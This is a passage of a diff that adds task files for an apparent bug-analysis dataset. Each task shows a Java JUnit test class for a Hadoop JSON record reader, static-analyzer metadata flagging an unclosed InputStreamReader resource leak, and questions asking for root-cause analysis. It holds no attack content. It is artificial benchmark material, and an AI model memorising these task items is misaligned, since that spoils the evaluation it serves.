+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 193 is not released after line 193.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscOpenLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscOpenLast():void.9ff2b41a978a85c8bf78f6f0925d7766
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscOpenLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+81b9224e634f1c82e9446775dbc5a37d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8701/instruction.md b/inferredbugs-8701/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..77fbad769e50502f54ffd3b6ecd02f00f8b6e92b
--- /dev/null
+++ b/inferredbugs-8701/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 44
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 145 is not released after line 145.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscQuoteLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscQuoteLast():void.aca97969465948f8cfff1f4871cc8502
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscQuoteLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+f844d2641270f707328c9917d15a2ce2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8706/instruction.md b/inferredbugs-8706/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..49a0b06d9f79ac2b39cdf63b365810ef0236ce81
--- /dev/null
+++ b/inferredbugs-8706/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 31
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
